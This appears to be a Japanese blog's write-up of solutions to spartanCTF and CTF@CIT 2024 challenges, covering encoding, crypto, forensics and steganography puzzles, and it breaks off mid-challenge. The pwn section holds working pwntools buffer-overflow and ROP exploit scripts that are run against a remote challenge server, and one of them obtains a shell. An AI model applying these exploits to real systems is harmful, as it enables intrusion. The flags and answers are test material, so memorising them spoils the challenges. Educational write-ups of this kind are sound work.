c3BhcnRhbkNURntoMWRkZW5fMW5fcGxhMW5fc2lnaHRfYWJiNTA2NWF9Cg==
$ echo c3BhcnRhbkNURntoMWRkZW5fMW5fcGxhMW5fc2lnaHRfYWJiNTA2NWF9Cg== | base64 -d
spartanCTF{h1dden_1n_pla1n_sight_abb5065a}
spartanCTF{h1dden_1n_pla1n_sight_abb5065a}

Desist (Forensics 60)

$ strings letter_v2.pdf | grep spartanCTF                        
/Producer (spartanCTF{n3v3r_f0rget_th3_m3tadata_5b1bfc6e})
  <pdf:Producer>spartanCTF{n3v3r_f0rget_th3_m3tadata_5b1bfc6e}</pdf:Producer>
spartanCTF{n3v3r_f0rget_th3_m3tadata_5b1bfc6e}

(Lack of) Authority (Forensics 99)

$ openssl x509 -text -noout -in cert.pem
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            0c:00:e8:06:9d:7f:a0:6b:a8:e4:50:c3:d8:c4:ed:bc:9c:c4:b8:6e
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C = US, ST = TEXAS, L = AUSTIN, O = SPARTANCTF, OU = 2024, CN = spartanCTF{w3lc0me_t0_th3_w0rld_0f_auth0r1ty}
        Validity
            Not Before: Mar 11 21:41:07 2024 GMT
            Not After : Mar 11 21:41:07 2025 GMT
        Subject: C = US, ST = TEXAS, L = AUSTIN, O = SPARTANCTF, OU = 2024, CN = spartanCTF{w3lc0me_t0_th3_w0rld_0f_auth0r1ty}
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                :
                :

証明書のCNにフラグが設定されていた。

spartanCTF{w3lc0me_t0_th3_w0rld_0f_auth0r1ty}

Can You Hear the Music? (Forensics 120)

Audacityで開く。チャネルの1つ目がDTMFの音声のようなので、切り出す。
切り出したwavファイルをhttps://dtmf.netlify.app/でデコードする。

1151129711411697110678470123108511169510951951045211851959711712095110511201169511649109101955652985151989748125

ASCIIコードが結合されているような文字列なので、その前提で文字にする。

#!/usr/bin/env python3
enc = '1151129711411697110678470123108511169510951951045211851959711712095110511201169511649109101955652985151989748125'

flag = ''
code = ''
for c in enc:
    code += c
    if int(code) > 31 and int(code) < 127:
        flag += chr(int(code))
        code = ''

print(flag)
spartanCTF{l3t_m3_h4v3_aux_n3xt_t1me_84b33ba0}

Whose Encoding Is It Anyway? [I] (Crypto 30)

CyberChefの「From Base32」でデコードする。

spartanCTF{just_an0ther_0bs0l3t3_enc0d1ng_4a809cb9}

Crossing the Rubicon [I] (Crypto 30)

シーザー暗号と推測し、https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 23:
This one's probably best left to history. Nice work! Flag: spartanCTF{3_7u_Bru7e?37284749}
spartanCTF{3_7u_Bru7e?37284749}

Something’s Fishy Here (Crypto 30)

Deadfish Languageと推測し、https://www.dcode.fr/deadfish-languageでデコードする。ASCII Charactersとしでデコードすると、以下のようになった。

115 112 97 114 116 97 110 67 84 70 123 115 119 49 109 109 49 110 103 95 119 49 116 104 95 116 104 51 95 102 49 115 104 49 51 115 56 55 50 57 52 55 54 52 50 57 50 125

これをASCIIコードとしてデコードする。

>>> codes = '115 112 97 114 116 97 110 67 84 70 123 115 119 49 109 109 49 110 103 95 119 49 116 104 95 116 104 51 95 102 49 115 104 49 51 115 56 55 50 57 52 55 54 52 50 57 50 125'
>>> codes = codes.split(' ')
>>> ''.join([chr(int(code)) for code in codes])
'spartanCTF{sw1mm1ng_w1th_th3_f1sh13s87294764292}'
spartanCTF{sw1mm1ng_w1th_th3_f1sh13s87294764292}

Crossing the Rubicon [II] (Crypto 35)

シーザー暗号と推測し、https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 13:
How'd you like the sequel? ROT-13 is reciprocal, but not very safe. Nice hack! Here's your prize: spartanCTF{13_12n't_LuCK7_4ft3r_411.27453829}
spartanCTF{13_12n't_LuCK7_4ft3r_411.27453829}

Whose Encoding is it Anyway? [II] (Crypto 50)

Chappe Alphabet。https://www.dcode.fr/chappe-alphabetで復号する。

spartanCTF{who_is_this_chappe_guy}

Almost Large Enough (Crypto 80)

$ openssl rsa -pubin -text < uploads.pub
Public-Key: (1044 bit)
Modulus:
    0b:0e:a2:4a:68:f8:be:dc:fb:26:ce:59:dc:00:ac:
    0e:a9:5d:14:86:18:57:7d:cd:08:43:e4:af:69:df:
    16:9a:11:58:a1:73:91:a0:af:b0:8e:d6:71:1a:71:
    b2:0f:4a:90:e4:60:44:85:de:e3:1a:3b:9a:77:bf:
    98:0a:dc:f5:4e:ba:01:5f:44:3e:42:c2:12:24:7e:
    54:df:75:04:73:c3:43:2d:f9:4f:20:6d:fb:36:ee:
    9e:c7:79:a4:67:78:e0:a6:e6:51:8d:b6:e2:c8:ce:
    9d:ae:15:d6:12:2e:9d:b7:48:03:c0:e2:94:81:38:
    32:1d:49:e5:b4:bf:62:6f:6a:db:1f
Exponent: 65537 (0x10001)
writing RSA key
-----BEGIN PUBLIC KEY-----
MIGhMA0GCSqGSIb3DQEBAQUAA4GPADCBiwKBgwsOokpo+L7c+ybOWdwArA6pXRSG
GFd9zQhD5K9p3xaaEVihc5Ggr7CO1nEacbIPSpDkYESF3uMaO5p3v5gK3PVOugFf
RD5CwhIkflTfdQRzw0Mt+U8gbfs27p7HeaRneOCm5lGNtuLIzp2uFdYSLp23SAPA
4pSBODIdSeW0v2JvatsfAgMBAAE=
-----END PUBLIC KEY-----

nは以下の値になっている。

n = 0x0b0ea24a68f8bedcfb26ce59dc00ac0ea95d148618577dcd0843e4af69df169a1158a17391a0afb08ed6711a71b20f4a90e4604485dee31a3b9a77bf980adcf54eba015f443e42c212247e54df750473c3432df94f206dfb36ee9ec779a46778e0a6e6518db6e2c8ce9dae15d6122e9db74803c0e2948138321d49e5b4bf626f6adb1f
  = 130268447115800793670969941660122023743138867500338107215168957059882598899049986121633175112078836299883375143848298686533154709548789077575282105358896390203127587810012637937058130600063960122373086865292975173802950727976807192933591320309038955899332929955344975932115610894739698545200885848588197476910684959

nをfactordbで素因数分解する。

n = 968857 * 134455804226837184095248258164127444755148455861224212876790854646126929876183983933266906377389889632715018979940588432073210710712508737177191376393932634230983094316305334984479784529671520278403404078510012492868349744055941375180848484667024087042084569709817832695759653792809154029130084056355269639287

秘密鍵を生成する。

$ python3 rsatool.py -f PEM -o uploads.pri -p 968857 -q 134455804226837184095248258164127444755148455861224212876790854646126929876183983933266906377389889632715018979940588432073210710712508737177191376393932634230983094316305334984479784529671520278403404078510012492868349744055941375180848484667024087042084569709817832695759653792809154029130084056355269639287
Using (p, q) to calculate RSA paramaters

n =
b0ea24a68f8bedcfb26ce59dc00ac0ea95d148618577dcd0843e4af69df169a1158a17391a0afb08
ed6711a71b20f4a90e4604485dee31a3b9a77bf980adcf54eba015f443e42c212247e54df750473c
3432df94f206dfb36ee9ec779a46778e0a6e6518db6e2c8ce9dae15d6122e9db74803c0e29481383
21d49e5b4bf626f6adb1f

e = 65537 (0x10001)

d =
2a11808d1dab515902c7b3682edf922db1ffa743201998f00c9318c713c8de796f45905cc9699083
412387c13bcfcc5aac94b8ffe28f24604e98bf4b5d23f718d75bfa1d6e898051cb765bc3d9bd295f
822b68c9b679fd2f48e729a37269bd7ed752e5280058a634c7fe938f580b01be9a1c5b3d87b19ae0
3d8ad00b7b37d0d6f0e1

p = 968857 (0xec899)

q =
bf78af09c43035dd0541e88e57ec13a86e3c4139310082258336354fd4dcd8a18c2edc85215c7716
fab40b26e71737970c1de78db2d236d6ec3f17213b88f4aa3fe1c5a34177a758293003bb9e2a69d6
761f7bf95f48418eddeb2c3d715d8ba2619d16e9790e2b40dd15c7f887370e770b8f4775814ddd67
f806f20887ddfc77

Saving PEM as uploads.pri

生成した秘密鍵で復号する。

$ openssl pkeyutl -decrypt -in file.enc -inkey uploads.pri
spartanCTF{n3v3r_us3_small_pr1m3_numb3rs_62036ce9}
spartanCTF{n3v3r_us3_small_pr1m3_numb3rs_62036ce9}

Numbers on the Orient Express (Crypto 80)

CyberChefで以下の順で復号する。

・ROT13
 ・Rotate lower case chars: チェックあり
 ・Rotate upper case chars: チェックあり
 ・Rotate numbers: チェックあり
 ・Amount: 8
・Rail Fence Cipher Decode
 ・Key: 8
 ・Offset: 0
spartanCTF{A11_A80ARD!48937298}

CTF@CIT 2024 Writeup

この大会は2024/4/20 6:00(JST)~2024/4/22 4:00(JST)に開催されました。
今回もチームで参戦。結果は3690点で553チーム中66位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome to the first CTF@CIT (Welcome!)

問題にフラグが書いてあった。

CIT{F1rst_Fl4g}

Discord (Welcome!)

Discordに入り、#ctf-infoチャネルのトピックを見ると、フラグが書いてあった。

CIT{y0u_4r3_1n_th3_d1sc0rd_y1p33}

Lost Flag (Misc)

challengesのページでHTMLソースを見ると、以下の部分があった。

<p style="color:white;">CIT{Y0U_H4V3_3Y3S!}</p>
CIT{Y0U_H4V3_3Y3S!}

Robots (OSINT)

https://ctf.cyber-cit.club/robots.txtにアクセスすると、以下のように書いてあった。

User-agent: *
Disallow: /admin
CIT{1m_4_r0b0t}
CIT{1m_4_r0b0t}

I'm as cold as a wise man (OSINT)

写真の上の方に絞り、画像検索する。左の建物が一致していそうな画像が見つかり、そのページを見てみる。

https://www.coldfootcamp.com/eat

Google mapでそのあたりを見てみると、通りの名前は以下になっている。

Coldfoot Rd (コールドフットロード)
CIT{coldfoot}

ezpz (Pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  time_t tVar2;
  char local_58 [72];
  ulong local_10;
  
  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  iVar1 = rand();
  local_10 = (ulong)(long)iVar1 % 5;
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  puts("\x1b[32m~ authored by nop.so (https://nop.so/) ~\x1b[0m\n\n");
  puts(*(char **)(pwn_pep_talk + local_10 * 8));
  puts("\n");
  puts("i\'m so tired of pwning and pwning all these insecure binaries.");
  puts("could you write me something to put the pep back in my step so");
  puts("I can pop some shells and make nop.so proud?");
  gets(local_58);
  puts("\nthank you. I will cherish this.\n");
  if (local_10 == 0xffffffffffffffff) {
    system("/bin/sh");
  }
  return 0;
}

BOFでlocal_10を0xffffffffffffffffで上書きすればよい。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('165.227.103.166', 6002)
else:
    p = process('./ezpz')

payload = b'A' * 72
payload += p64(0xffffffffffffffff)

data = p.recvuntil(b'?\n').decode().rstrip()
print(data)
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to 165.227.103.166 on port 6002: Done
~ authored by nop.so (https://nop.so/) ~


"to pwn or not to pwn. that is the question."


i'm so tired of pwning and pwning all these insecure binaries.
could you write me something to put the pep back in my step so
I can pop some shells and make nop.so proud?
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xff\xff\xff\xff\xff\xff\xff\xff'
[*] Switching to interactive mode

thank you. I will cherish this.

$ ls
flag.txt
run
$ cat flag.txt
CIT{pr0bably_t00_3azy_4_U_9920int3oksalfqFoi3b3ofiql7}
CIT{pr0bably_t00_3azy_4_U_9920int3oksalfqFoi3b3ofiql7}

ret2monke (Pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char local_78 [112];
  
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  puts("\x1b[32m~ authored by nop.so (https://nop.so/) ~\x1b[0m\n\n");
  puts("in today\'s society, is there not joy to be found in the simpler things?");
  gets(local_78);
  return 0x13;
}

void monke(void)

{
  undefined8 local_118;
  undefined8 local_110;
  undefined8 local_108;
  undefined8 local_100;
  undefined8 local_f8;
  undefined8 local_f0;
  undefined8 local_e8;
  undefined8 local_e0;
  undefined8 local_d8;
  undefined8 local_d0;
  undefined8 local_c8;
  undefined8 local_c0;
  undefined8 local_b8;
  undefined8 local_b0;
  undefined8 local_a8;
  undefined8 local_a0;
  undefined8 local_98;
  undefined8 local_90;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  FILE *local_10;
  
  local_118 = 0;
  local_110 = 0;
  local_108 = 0;
  local_100 = 0;
  local_f8 = 0;
  local_f0 = 0;
  local_e8 = 0;
  local_e0 = 0;
  local_d8 = 0;
  local_d0 = 0;
  local_c8 = 0;
  local_c0 = 0;
  local_b8 = 0;
  local_b0 = 0;
  local_a8 = 0;
  local_a0 = 0;
  local_98 = 0;
  local_90 = 0;
  local_88 = 0;
  local_80 = 0;
  local_78 = 0;
  local_70 = 0;
  local_68 = 0;
  local_60 = 0;
  local_58 = 0;
  local_50 = 0;
  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_10 = fopen("./flag.txt","r");
  if (local_10 == (FILE *)0x0) {
    puts("internal error - contact @nop.so on discord");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  fgets((char *)&local_118,0x100,local_10);
  puts((char *)&local_118);
  fclose(local_10);
  return;
}

BOFでmonke関数をコールできれば良い。

$ ROPgadget --binary ret2monke | grep ": ret" 
0x000000000040101a : ret
0x0000000000401042 : ret 0x2f
0x0000000000401022 : retf 0x2f
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('165.227.103.166', 6001)
else:
    p = process('./ret2monke')

elf = ELF('./ret2monke')

ret_addr = 0x40101a
monke_addr = elf.symbols['monke']

payload = b'A' * 120
payload += p64(ret_addr)
payload += p64(monke_addr)

data = p.recvuntil(b'?\n').decode().rstrip()
print(data)
print(payload)
p.sendline(payload)
data = p.recvuntil(b'\n').decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to 165.227.103.166 on port 6001: Done
[*] '/media/sf_Shared/ret2monke'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
~ authored by nop.so (https://nop.so/) ~


in today's society, is there not joy to be found in the simpler things?
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x00\x86\x11@\x00\x00\x00\x00\x00'
CIT{pl3nty_0f_b4n4n4z_f0r_y0u!_992obAKLRsklnqf235io1lWK9io13}
[*] Closed connection to 165.227.103.166 port 6001
CIT{pl3nty_0f_b4n4n4z_f0r_y0u!_992obAKLRsklnqf235io1lWK9io13}

twostep (Pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  time_t tVar2;
  char local_1b8 [432];
  
  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  iVar1 = rand();
  arg1 = iVar1 % 0x45;
  iVar1 = rand();
  arg2 = iVar1 % 0x1a4;
  puts("\x1b[32m~ authored by nop.so (https://nop.so/) ~\x1b[0m\n\n");
  puts("omg hi! I\'ve been practicing my texas two-step, but I can\'t quite figure it out.");
  puts("every time I almost nail it, I stumble and mess it all up. This will not do.");
  puts("\n");
  puts("I have a meeting with an important niche internet microcelebrity in ");
  printf("%d HOURS and %d MINUTES, \nand ",(ulong)arg1,(ulong)arg2);
  puts("I can\'t afford to make a single mistake!");
  puts("\n");
  puts("have any advice for a stepper such as myself to lock in and fix my 2 step game?");
  gets(local_1b8);
  return 0x13;
}

void left2_foot_creep_FORBIDDEN(int param_1)

{
  undefined8 local_118;
  undefined8 local_110;
  undefined8 local_108;
  undefined8 local_100;
  undefined8 local_f8;
  undefined8 local_f0;
  undefined8 local_e8;
  undefined8 local_e0;
  undefined8 local_d8;
  undefined8 local_d0;
  undefined8 local_c8;
  undefined8 local_c0;
  undefined8 local_b8;
  undefined8 local_b0;
  undefined8 local_a8;
  undefined8 local_a0;
  undefined8 local_98;
  undefined8 local_90;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  FILE *local_10;
  
  if ((log == 1) && (param_1 == arg2)) {
    puts("magnificalicious. luh flaggington for you: \n");
    local_118 = 0;
    local_110 = 0;
    local_108 = 0;
    local_100 = 0;
    local_f8 = 0;
    local_f0 = 0;
    local_e8 = 0;
    local_e0 = 0;
    local_d8 = 0;
    local_d0 = 0;
    local_c8 = 0;
    local_c0 = 0;
    local_b8 = 0;
    local_b0 = 0;
    local_a8 = 0;
    local_a0 = 0;
    local_98 = 0;
    local_90 = 0;
    local_88 = 0;
    local_80 = 0;
    local_78 = 0;
    local_70 = 0;
    local_68 = 0;
    local_60 = 0;
    local_58 = 0;
    local_50 = 0;
    local_48 = 0;
    local_40 = 0;
    local_38 = 0;
    local_30 = 0;
    local_28 = 0;
    local_20 = 0;
    local_10 = fopen("./flag.txt","r");
    if (local_10 == (FILE *)0x0) {
      puts("internal error - contact @nop.so on discord");
                    /* WARNING: Subroutine does not return */
      exit(-1);
    }
    fgets((char *)&local_118,0x100,local_10);
    puts((char *)&local_118);
    fclose(local_10);
    return;
  }
  puts("not quite! teehee\n");
  puts("connection terminated.");
                    /* WARNING: Subroutine does not return */
  exit(0x1a4);
}

void right_foot_creep1(int param_1)

{
  if (param_1 != arg1) {
    puts("wrong! womp womp.");
                    /* WARNING: Subroutine does not return */
    exit(0x16);
  }
  log = 1;
  puts("almost. there.");
  return;
}

BOFで以下を実行するようにする。

・引数にarg1を指定してright_foot_creep1関数をコールする。
・引数にarg2を指定してleft2_foot_creep_FORBIDDEN関数をコールする。
$ ROPgadget --binary twostep | grep ": ret"  
0x000000000040101a : ret
0x000000000040149f : ret 0x1589
0x0000000000401042 : ret 0x2f
0x00000000004014ba : ret 0xfac1
0x00000000004011fa : ret 0xfffe
0x0000000000401022 : retf 0x2f
0x00000000004014c4 : retf 0xca69
0x0000000000401498 : retf 0xca6b

$ ROPgadget --binary twostep --re "pop rdi" 
Gadgets information
============================================================
0x00000000004011c5 : mov dl, byte ptr [rbp + 0x48] ; mov ebp, esp ; pop rdi ; ret
0x00000000004011c8 : mov ebp, esp ; pop rdi ; ret
0x00000000004011c7 : mov rbp, rsp ; pop rdi ; ret
0x00000000004011ca : pop rdi ; ret
0x00000000004011c6 : push rbp ; mov rbp, rsp ; pop rdi ; ret

Unique gadgets found: 5
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('165.227.103.166', 6003)
else:
    p = process('./twostep')

elf = ELF('./twostep')

ret_addr = 0x40101a
pop_rdi_addr = 0x4011ca
right_foot_creep1_addr = elf.symbols['right_foot_creep1']
left2_foot_creep_FORBIDDEN_addr = elf.symbols['left2_foot_creep_FORBIDDEN']

data = p.recvuntil(b'in \n').decode().rstrip()
print(data)
data = p.recvline().decode().rstrip()
print(data)
arg1 = int(data.split(' ')[0])
arg2 = int(data.split(' ')[3])

payload = b'A' * 440
payload += p64(ret_addr)
payload += p64(pop_rdi_addr)
payload += p64(arg1)
payload += p64(right_foot_creep1_addr)
payload += p64(pop_rdi_addr)
payload += p64(arg2)
payload += p64(left2_foot_creep_FORBIDDEN_addr)

data = p.recvuntil(b'?\n').decode().rstrip()
print(data)
print(payload)
p.sendline(payload)

for _ in range(4):
    data = p.recvline().decode().rstrip()
    print(data)

実行結果は以下の通り。

[+] Opening connection to 165.227.103.166 on port 6003: Done
[*] '/media/sf_Shared/twostep'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
~ authored by nop.so (https://nop.so/) ~


omg hi! I've been practicing my texas two-step, but I can't quite figure it out.
every time I almost nail it, I stumble and mess it all up. This will not do.


I have a meeting with an important niche internet microcelebrity in
5 HOURS and 279 MINUTES,
and I can't afford to make a single mistake!


have any advice for a stepper such as myself to lock in and fix my 2 step game?
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x00\xca\x11@\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\xcf\x11@\x00\x00\x00\x00\x00\xca\x11@\x00\x00\x00\x00\x00\x17\x01\x00\x00\x00\x00\x00\x00\x1a\x12@\x00\x00\x00\x00\x00'
almost. there.
magnificalicious. luh flaggington for you:

CIT{n0w_y3r_d4nc1n_thE_t3xas_2step_wbiw28qfe3gr1ddyBiq093kt310}
[*] Closed connection to 165.227.103.166 port 6003
CIT{n0w_y3r_d4nc1n_thE_t3xas_2step_wbiw28qfe3gr1ddyBiq093kt310}

Strung Along (Reverse Engineering)

Ghidraでデコンパイルする。

void __static_initialization_and_destruction_0(void)

{
  long in_FS_OFFSET;
  allocator local_71;
  allocator *local_70;
  char *local_68;
  undefined *local_60;
  undefined *local_58;
  undefined *local_50;
  undefined *local_48;
  undefined *local_40;
  undefined *local_38;
  undefined *local_30;
  undefined *local_28;
  char *local_20 [2];
  
  local_20[0] = *(char **)(in_FS_OFFSET + 0x28);
  local_68 = "CI";
  local_60 = &DAT_00103084;
  local_58 = &DAT_00103087;
  local_50 = &DAT_0010308a;
  local_48 = &DAT_0010308d;
  local_40 = &DAT_00103090;
  local_38 = &DAT_00103093;
  local_30 = &DAT_00103096;
  local_28 = &DAT_00103099;
  local_70 = &local_71;
                    /* try { // try from 0010239f to 001023a3 has its CatchHandler @ 001023e6 */
  std::
  vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>,std::allocator <std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>>
  ::vector<char_const*const*,void>
            ((vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>,st d::allocator<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char> >>>
              *)t[abi:cxx11],&local_68,local_20,&local_71);
  std::__new_allocator<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>
  ::~__new_allocator((__new_allocator<std::__cxx11::basic_string<char,std::char_traits<char>,std::al locator<char>>>
                      *)&local_71);
  __cxa_atexit(std::
               vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>,s td::allocator<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<c har>>>>
               ::~vector,t[abi:cxx11],&__dso_handle);
  if (local_20[0] != *(char **)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

                             DAT_00103081                                    XREF[2]:     __static_initialization_and_dest
                                                                                          __static_initialization_and_dest
        00103081 43              ??         43h    C
        00103082 49              ??         49h    I
        00103083 00              ??         00h
                             DAT_00103084                                    XREF[2]:     __static_initialization_and_dest
                                                                                          __static_initialization_and_dest
        00103084 54              ??         54h    T
        00103085 7b              ??         7Bh    {
        00103086 00              ??         00h
                             DAT_00103087                                    XREF[2]:     __static_initialization_and_dest
                                                                                          __static_initialization_and_dest
        00103087 50              ??         50h    P
        00103088 52              ??         52h    R
        00103089 00              ??         00h
                             DAT_0010308a                                    XREF[2]:     __static_initialization_and_dest
                                                                                          __static_initialization_and_dest
        0010308a 33              ??         33h    3
        0010308b 50              ??         50h    P
        0010308c 00              ??         00h
                             DAT_0010308d                                    XREF[2]:     __static_initialization_and_dest
                                                                                          __static_initialization_and_dest
        0010308d 34              ??         34h    4
        0010308e 52              ??         52h    R
        0010308f 00              ??         00h
                             DAT_00103090                                    XREF[2]:     __static_initialization_and_dest
                                                                                          __static_initialization_and_dest
        00103090 33              ??         33h    3
        00103091 34              ??         34h    4
        00103092 00              ??         00h
                             DAT_00103093                                    XREF[2]:     __static_initialization_and_dest
                                                                                          __static_initialization_and_dest
        00103093 50              ??         50h    P
        00103094 34              ??         34h    4
        00103095 00              ??         00h
                             DAT_00103096                                    XREF[2]:     __static_initialization_and_dest
                                                                                          __static_initialization_and_dest
        00103096 31              ??         31h    1
        00103097 4e              ??         4Eh    N
        00103098 00              ??         00h
                             DAT_00103099                                    XREF[2]:     __static_initialization_and_dest
                                                                                          __static_initialization_and_dest
        00103099 7d              ??         7Dh    }
        0010309a 00              ??         00h
CIT{PR3P4R34P41N}

I can't see it (Web)

$ curl http://138.197.33.187/ -v
*   Trying 138.197.33.187:80...
* Connected to 138.197.33.187 (138.197.33.187) port 80 (#0)
> GET / HTTP/1.1
> Host: 138.197.33.187
> User-Agent: curl/7.88.1
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: Werkzeug/2.2.2 Python/3.11.6
< Date: Sat, 20 Apr 2024 22:36:06 GMT
< Content-Type: text/html; charset=utf-8
< link: <style.css>; rel=stylesheet;
< Set-Cookie: request=Q0lUe24wV195b3VfQ0BuX3M1NV9tZX0=; Path=/
< Refresh: 2; url=https://www.youtube.com/watch?v=dQw4w9WgXcQ
< Content-Length: 0
< Connection: close
< 
* Closing connection 0

クッキーのrequestにbase64文字列が設定されている。

$ echo Q0lUe24wV195b3VfQ0BuX3M1NV9tZX0= | base64 -d
CIT{n0W_you_C@n_s55_me}
CIT{n0W_you_C@n_s55_me}

Invoice (Forensics)

スポンサーの一人に送信しているが、PDFの送信先は黒塗りしてマスクされている。そのPDFのマスクされている部分をコピペする。

TO: Sir Swaggy 1337 Information Security 22 Beehive Drive Freeport, Maine 04032 Phone: N/A
SHIP TO: Sir Swaggy 1337 Information Security 22 Beehive Drive Freeport, Maine
CIT{Sir_Swaggy}

Beep Boop (Forensics)

モールス信号を書き出す。

.. -. . ...- .. -.... ...-- .-. . -. .- -.. .. .--- ... -- ..-. .--- .--- .... -.- ..- ...-- .... -.- -. ...- ..-. ....- -.-- .--- -..- .... -... ....- -..- --- -.-- .-.. .....

デコードすると、以下のようになる。

INEVI63RENADIJSMFJJHKU3HKNVF4YJXHB4XOYL5
$ echo INEVI63RENADIJSMFJJHKU3HKNVF4YJXHB4XOYL5 | base32 -d
CIT{q#@4&L*RuSgSj^a78ywa}
CIT{q#@4&L*RuSgSj^a78ywa}

Sniff Sniff (Forensics)

httpでフィルタリングする。No.12492のパケットで以下のユーザ情報をPOSTしていることがわかる。

Form item: "uname" = "username"
Form item: "pass" = "Q0lUe2lKNUI5cyNsQXA2aUJOaTZKdFE4fQ=="
$ echo Q0lUe2lKNUI5cyNsQXA2aUJOaTZKdFE4fQ== | base64 -d
CIT{iJ5B9s#lAp6iBNi6JtQ8}
CIT{iJ5B9s#lAp6iBNi6JtQ8}

I LOVE PRIME! (Steganography)

$ exiftool meta-moon.jpg                
ExifTool Version Number         : 12.57
File Name                       : meta-moon.jpg
Directory                       : .
File Size                       : 24 kB
File Modification Date/Time     : 2024:04:20 06:40:54+09:00
File Access Date/Time           : 2024:04:20 06:42:24+09:00
File Inode Change Date/Time     : 2024:04:20 06:40:54+09:00
File Permissions                : -rwxrwx---
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 72
Y Resolution                    : 72
XMP Toolkit                     : Image::ExifTool 12.65
Description                     : CIT{meta_moon_prime_yummy}
Image Width                     : 1280
Image Height                    : 720
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1280x720
Megapixels                      : 0.922

Descriptionにフラグが設定されていた。

CIT{meta_moon_prime_yummy}

Intern (Steganography)

StegSolveで開き、Red plane 0を見ると、フラグが現れた。

CIT{f1r3_th1s_1nt3rn}

Drop me a chug jug! (Steganography)

Audacityで開き、スペクトログラムを見ると、フラグが現れた。

CIT{fOrtN1T3_ronnl369l}

The Art of the Beast (Steganography)

$ file the-art-of-the-beast.png 
the-art-of-the-beast.png: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 828x895, components 3

$ steghide extract -sf the-art-of-the-beast.png         
Enter passphrase: 
wrote extracted data to "misterbeast".

$ file misterbeast             
misterbeast: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9e264a1d1bade455908e08feca50817b54fc544f, for GNU/Linux 3.2.0, stripped

$ strings misterbeast | grep CIT{               
